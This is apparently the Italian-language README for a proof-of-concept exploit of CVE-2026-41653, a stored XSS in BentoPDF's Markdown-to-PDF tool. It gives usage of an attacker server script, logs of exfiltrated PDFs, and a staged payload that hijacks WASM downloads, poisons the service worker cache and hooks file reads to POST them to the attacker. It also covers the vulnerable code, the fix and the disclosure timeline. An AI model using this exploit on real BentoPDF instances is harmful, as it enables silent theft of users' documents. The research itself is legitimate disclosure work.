
Proof-of-concept exploit per CVE-2026-41653, una XSS persistente in BentoPDF che consente l'esfiltrazione silenziosa di file e il dirottamento della supply chain WASM.
Scoperta e segnalata da: Astaruf
Analisi completa: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
Avviso upstream: Avviso GHSA di alam00000/bentopdf
Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF è una toolbox PDF self-hosted lato browser (comprimi, unisci, dividi, ruota, converti, Markdown-to-PDF, ecc.).
Lo strumento Markdown-to-PDF passa il Markdown fornito dall'utente attraverso markdown-it con html: true e inietta l'output renderizzato direttamente nel DOM tramite innerHTML senza alcuna sanitizzazione. Un attaccante che consegna un file .md appositamente creato ottiene l'esecuzione di JavaScript arbitrario nell'origine di BentoPDF.
Poiché BentoPDF è un'applicazione completamente lato client, ogni strumento (Compress PDF, Merge PDF, Split PDF, ecc.) carica ed elabora i file direttamente nel browser della vittima. Un singolo XSS è quindi sufficiente per esfiltrare silenziosamente ogni documento che la vittima apre in qualsiasi strumento durante la sessione.
L'attaccante invia report.md (contenente )
-> La vittima lo apre in Markdown-to-PDF
-> markdown-it renderizza HTML grezzo (html: true)
-> preview.innerHTML = html (nessun DOMPurify)
-> poc_payload.js caricato dal server dell'attaccante (nessuna CSP)
-> FileReader + <input type=file> hook applicati a tutta l'app
-> popup nascosto re-inietta gli hook a ogni navigazione tra strumenti
-> ogni file aperto dalla vittima viene esfiltrato silenziosamente
localStorage['bentopdf:wasm-providers'], reindirizzando i download dei moduli WASM di PyMuPDF, Ghostscript e cpdf verso un host controllato dall'attaccante.window.opener e re-inietta gli hook sui file ogni volta che la vittima naviga verso uno strumento diverso, mantenendo l'accesso per l'intera sessione.bentopdf-*, aggiungendo un hook di esfiltrazione a ogni file /assets/*.js servito al browser oltre la sessione corrente.markdown-it (CWE-79)src/js/utils/markdown-editor.ts (righe 271–272):
private mdOptions: MarkdownItOptions = {
html: true, // i tag HTML grezzi passano attraverso il parser markdown
breaks: false,
linkify: true,
typographer: true,
};
Tag come ``, <svg>, <details> e qualsiasi attributo di gestione eventi (onerror, onload, ontoggle) vengono inoltrati al DOM così come sono.
innerHTML non sanitizzata (CWE-116)src/js/utils/markdown-editor.ts (righe 689–694):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // HTML controllato dall'attaccante iniettato nel DOM
this.renderMermaidDiagrams();
}
Nessuna libreria di sanitizzazione viene applicata tra markdown-it e innerHTML. Il browser analizza la stringa iniettata, incontra il gestore di eventi inline e lo esegue immediatamente.
nginx.conf viene distribuito senza header Content-Security-Policy. Il JavaScript iniettato può caricare liberamente script esterni, effettuare richieste fetch() verso qualsiasi host e aprire finestre popup. Una CSP restrittiva avrebbe impedito la fase di caricamento degli script esterni anche con il sink intatto.
# Avvia il server dell'attaccante per l'esfiltrazione
python3 poc.py --lhost <YOUR_IP> --lport 9999
# poc.py:
# - genera il payload poc_report.md nella directory corrente
# - inizia ad ascoltare i callback della vittima e i file esfiltrati
Invia poc_report.md alla vittima e chiedile di aprirlo in BentoPDF → Markdown-to-PDF. Il payload si attiva nel momento in cui l'anteprima viene renderizzata, e tutti i file che la vittima caricherà in futuro vengono esfiltrati al server dell'attaccante.
| Opzione | Predefinito | Descrizione |
|---|---|---|
--lhost | obbligatorio | IP raggiungibile dal browser della vittima |
--lport | 9999 | Porta di ascolto |
--loot-dir | ./loot/ | Directory in cui vengono salvati i file esfiltrati |
--log-file | nessuno | Aggiunge tutti gli eventi a un file (codici ANSI rimossi) |
--no-color | disattivato | Disabilita i colori ANSI nell'output del terminale |
1. Server dell'attaccante avviato con --lhost e --lport. Il poc_report.md dannoso viene generato automaticamente.
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
PoC di Astaruf (https://nstsec.com)
========================================================================
Server di esfiltrazione: http://127.0.0.1:9999
Payload: http://127.0.0.1:9999/poc_payload.js
Directory loot: /home/kali/loot
========================================================================
File .md dannoso pronto: /home/kali/poc_report.md
Invialo alla vittima e chiedile di aprirlo nello strumento Markdown-to-PDF.
Il payload si attiva non appena l'anteprima viene renderizzata.
========================================================================
In attesa delle vittime...
2. La vittima apre lo strumento Markdown-to-PDF in BentoPDF.

3. La vittima carica poc_report.md. L'anteprima viene renderizzata, `` non riesce a caricarsi, onerror si attiva. poc_payload.js viene recuperato dal server dell'attaccante senza alcuna CSP a bloccarlo.

4. Il payload esegue le sue quattro fasi: dirottamento del provider WASM tramite localStorage, avvio del monitor popup, installazione degli hook su FileReader e sugli input file nella pagina corrente.

5. La vittima naviga verso Compress PDF. Il popup rileva la navigazione e re-inietta gli hook nella nuova pagina.

6. La vittima carica un PDF. Lo strumento lo comprime normalmente. I byte del file sono già stati inviati via POST al server dell'attaccante.

7. Output del server dell'attaccante da un'esecuzione verificata:
[17:11:11] WASM HIJACK { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON { page: '.../index.html' }
[17:12:00] BEACON { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171358_Lorem_ipsum.pdf

8. Il file esfiltrato si apre come un PDF completo e valido, identico all'originale.

Il payload incorporato in poc.py esegue quattro fasi in sequenza:
| Fase | Cosa fa | Ambito di persistenza |
|---|---|---|
| 1 | Sovrascrive localStorage['bentopdf:wasm-providers'] per reindirizzare tutti i download dei moduli WASM all'attaccante | Tra sessioni del browser |
| 2 | Registra /sw.js, enumera /assets/*.js su tutte le pagine degli strumenti, avvelena la cache del Service Worker bentopdf-* con un hook di esfiltrazione | Oltre la sessione del browser (solo HTTPS) |
| 3 | Avvia un popup nascosto 1×1 che interroga window.opener.location.href e re-inietta gli hook sui file dopo ogni navigazione tra strumenti | Finché la scheda BentoPDF è aperta |
| 4 | Aggancia FileReader.prototype.readAsArrayBuffer e il listener change a livello di documento: ogni file toccato dalla vittima viene inviato via POST al server dell'attaccante /file?name=<filename> | Pagina corrente |
Distribuita in BentoPDF v2.8.3. Lo sviluppatore ha esaminato l'intera base di codice oltre al sink originariamente segnalato e ha affrontato molteplici vettori correlati:
innerHTML in markdown-editor.ts, incluso il percorso SVG di Mermaid che utilizzava securityLevel: 'loose' e che è risultato in grado di bypassare il primo sanitizzatore.securityLevel: 'strict' e l'output SVG viene nuovamente sanitizzato con il profilo SVG di DOMPurify.file.name neutralizzato in circa 8 pagine di strumenti (Deskew, Form Filler, Remove Annotations, ecc.) dove i nomi dei file venivano precedentemente concatenati nell'HTML senza sanitizzazione.localStorage['bentopdf:wasm-providers'] vengono scartati al caricamento.nginx.conf, inclusa la Content-Security-Policy.Correzione minima per il sink originariamente segnalato:
import DOMPurify from 'dompurify';
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = DOMPurify.sanitize(html);
}
Header CSP aggiunto in nginx.conf:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;
| Data | Evento |
|---|---|
| 2026-04-02 | Vulnerabilità scoperta |
| 2026-04-02 | Segnalata privatamente al manutentore |
| 2026-04-17 | Il manutentore ha confermato |
| 2026-04-17 | Correzione implementata nella build edge e ritestata |
| 2026-04-18 | v2.8.3 rilasciata con credito pubblico |
| 2026-04-21 | Avviso GHSA pubblicato |
| 2026-04-22 | CVE-2026-41653 assegnata |
Questo materiale è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. Utilizzalo solo contro istanze di BentoPDF di tua proprietà o per le quali hai esplicita autorizzazione scritta al test. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.